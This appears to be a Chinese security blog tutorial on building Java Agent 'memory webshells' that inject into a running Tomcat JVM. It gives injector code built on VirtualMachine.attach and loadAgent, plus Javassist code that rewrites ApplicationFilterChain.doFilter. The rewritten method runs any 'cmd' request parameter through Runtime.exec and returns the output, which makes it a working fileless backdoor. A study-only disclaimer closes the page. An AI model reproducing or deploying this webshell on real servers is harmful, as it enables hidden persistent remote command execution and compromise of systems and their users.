一 前置原理
内存马存在4种类型:Filter型、Servlet型、Listener型、Agent型
Java Agent 支持两种方式进行加载:
- 实现 premain 方法,在启动时进行加载
- 实现 agentmain 方法,在启动后进行加载
Java Agent允许程序员利用agent技术构建一个独立于应用程序的代理程序,用途也非常广泛,可以协助监测、运行、甚至替换其他JVM上的程序
VirtualMachine
先了解一下 VirtualMachine, 可以通过此接口的实例直接或间接访问所有其他镜像,此接口直接支持访问全局VM属性和控制VM执行,主要方法如下:VirtualMachine – Java 11中文版 – API参考文档 (apiref.com),通过 VirtualMachine 可以找到其他运行的jvm,如果我们可以使用这种方式修改其他程序,那么就达到了注入的效果
Instrumentation
使用 Instrumentation,开发者可以构建一个独立于应用程序的代理程序(Agent),用来监测和协助运行在 JVM 上的程序,甚至能够替换和修改某些类的定义。主要方法如下:Instrumentation 包/类/方法中文说明 – Java 11 API中文版 – 手册 – 时代Java (nowjava.com)
Javassit
可看下文
Java字节码操作神器:Javassist入门指南_java javasist-CSDN博客
Javassist中文技术文档 – 程序诗人 – 博客园 (cnblogs.com)
javassist使用全解析 – rickiyang – 博客园 (cnblogs.com)
二 preMain
JVM启动前加载
注入代码
public class MyPremain { public static void premain(String agentArgs, Instrumentation inst) { System.out.println("MyPremain"); } }
之后添加工件
构建jar包时一定要将其中MANIFEST.MF文件中的main-class需要改为premain-class
这是我们的被注入程序,打包成jar
public class Main { public static void main(String[] args) { for (int i = 0; i在命令行利用 -javaagent来实现启动时加载,此时效果如下,可以看到先执行了我们的恶意jar
三 agentMain
JVM启动后加载
还是先写一个恶意类,同样的构建jar包时必须更改MANIFEST.MF文件
Manifest-Version: 1.0 Agent-Class: com.agentmain_test.myAgentMain由于是运行时注入,所以我们需要一个注入器,注入器主要通过VirtualMachine实现,VirtualMachine.list获取到jvm虚拟机列表,然后通过loadAgent方法可以加载我们需要加载的恶意方法,此时我们就可以将jar注入到正在运行的程序中
首先需要添加tools.jar的依赖
注入器代码
public static void main(String[] args) throws IOException, AttachNotSupportedException { Listlist = VirtualMachine.list(); for (VirtualMachineDescriptor virtualMachineDescriptor : list) { if(virtualMachineDescriptor.displayName() == "com.agent.Main"){ VirtualMachine attach = VirtualMachine.attach(virtualMachineDescriptor); try { attach.loadAgent("agent 的jar文件位置"); } catch (AgentLoadException e) { throw new RuntimeException(e); } catch (AgentInitializationException e) { throw new RuntimeException(e); } } } } 启动我们的目标项目和注入器,注入成功
四 内存马实现
启动tomcat,以此检测agent注入时在tomcat等中间件中的可行性,可以看到同样可以被注入
同时修改agent代码如下
public class myAgentMain {
public static void agentmain(String agentArgs, Instrumentation inst) throws IOException {
Class[] classes = inst.getAllLoadedClasses();
FileOutputStream fileOutputStream = new FileOutputStream(new File("classes.txt"));
for (Class aClass : classes) {
String className = aClass.getName() + " " + aClass.getDeclaredMethods().toString()+"n";
fileOutputStream.write(className.getBytes());
}
fileOutputStream.close();
System.out.println("agentmain");
}
}通过 inst.getAllLoadedClasses 获取到我们可以修改和注入的类,而对于寻找被注入的类,必须满足两个条件:
- 该方法一定会被执行
- 不会影响正常的业务逻辑
对于用户请求到达服务器之前,Filter、Servlet是一定会被经过的,而在ApplicationFilterChain#doFilter、HttpServlet#service还封装了我们用户请求的 request 和 response,如果我们能够注入这些方法,那么我们不就可以直接获取用户的请求,进而将执行结果写在 response 中进行返回
完善agentMain代码,使其执行我们的代码
public static void agentmain(String agentArgs, Instrumentation inst) throws IOException, NotFoundException, CannotCompileException, UnmodifiableClassException, ClassNotFoundException { Class[] classes = inst.getAllLoadedClasses(); for (Class aClass : classes) { if (aClass.getName().equals("要注入的类")) { // 创建类池 ClassPool classPool = ClassPool.getDefault(); ClassClassPath classPath = new ClassClassPath(aClass); classPool.insertClassPath(classPath); CtClass ctClass = classPool.get(aClass.getName()); CtMethod service = ctClass.getDeclaredMethod("service"); service.insertBefore("执行的恶意代码"); ctClass.detach(); byte[] bytecode = ctClass.toBytecode(); inst.redefineClasses(new ClassDefinition[]{new ClassDefinition(aClass,bytecode)}); } } System.out.println("注入成功");
}此时我注入的是 javax.servlet.http.HttpServlet 类,效果如下
此时已经注入成功
现在我们修改要执行的代码,并且模拟一个真实环境
参考的这位师傅的dofilter代码(service只是把类和方法更换就好) 浅谈 Java Agent 内存马-腾讯云开发者社区-腾讯云 (tencent.com)主要service这里一直报错没有解决掉,哭死
public class myAgentMain { public static void agentmain(String agentArgs, Instrumentation inst) throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass ctClass = pool.get("org.apache.catalina.core.ApplicationFilterChain"); CtMethod service = ctClass.getDeclaredMethod("doFilter"); // 插入代码,确保所有类都已正确导入 String toInsert = "javax.servlet.http.HttpServletRequest req = request;n" + "javax.servlet.http.HttpServletResponse res = response;n" + "java.lang.String cmd = request.getParameter("cmd");n" + "if (cmd != null){n" + " try {n" + " java.io.InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();n" + " java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(in));n" + " String line;n" + " StringBuilder sb = new StringBuilder("");n" + " while ((line=reader.readLine()) != null){n" + " sb.append(line).append("\n");n" + " }n" + " response.getOutputStream().print(sb.toString());n" + " response.getOutputStream().flush();n" + " response.getOutputStream().close();n" + " } catch (Exception e){n" + " e.printStackTrace();n" + " }n" + "}"; service.insertBefore(toInsert); byte[] bytecode = ctClass.toBytecode(); inst.redefineClasses(new ClassDefinition(ctClass.toClass(), bytecode)); System.out.println("注入成功"); } }
可以看到也是成功注入的
五 内存马利用方式
1.本站内容仅供参考,不作为任何法律依据。用户在使用本站内容时,应自行判断其真实性、准确性和完整性,并承担相应风险。
2.本站部分内容来源于互联网,仅用于交流学习研究知识,若侵犯了您的合法权益,请及时邮件或站内私信与本站联系,我们将尽快予以处理。
3.本文采用知识共享 署名4.0国际许可协议 [BY-NC-SA] 进行授权
4.根据《计算机软件保护条例》第十七条规定“为了学习和研究软件内含的设计思想和原理,通过安装、显示、传输或者存储软件等方式使用软件的,可以不经软件著作权人许可,不向其支付报酬。”您需知晓本站所有内容资源均来源于网络,仅供用户交流学习与研究使用,版权归属原版权方所有,版权争议与本站无关,用户本人下载后不能用作商业或非法用途,需在24个小时之内从您的电脑中彻底删除上述内容,否则后果均由用户承担责任;如果您访问和下载此文件,表示您同意只将此文件用于参考、学习而非其他用途,否则一切后果请您自行承担,如果您喜欢该程序,请支持正版软件,购买注册,得到更好的正版服务。
5.本站是非经营性个人站点,所有软件信息均来自网络,所有资源仅供学习参考研究目的,并不贩卖软件,不存在任何商业目的及用途
暂无评论内容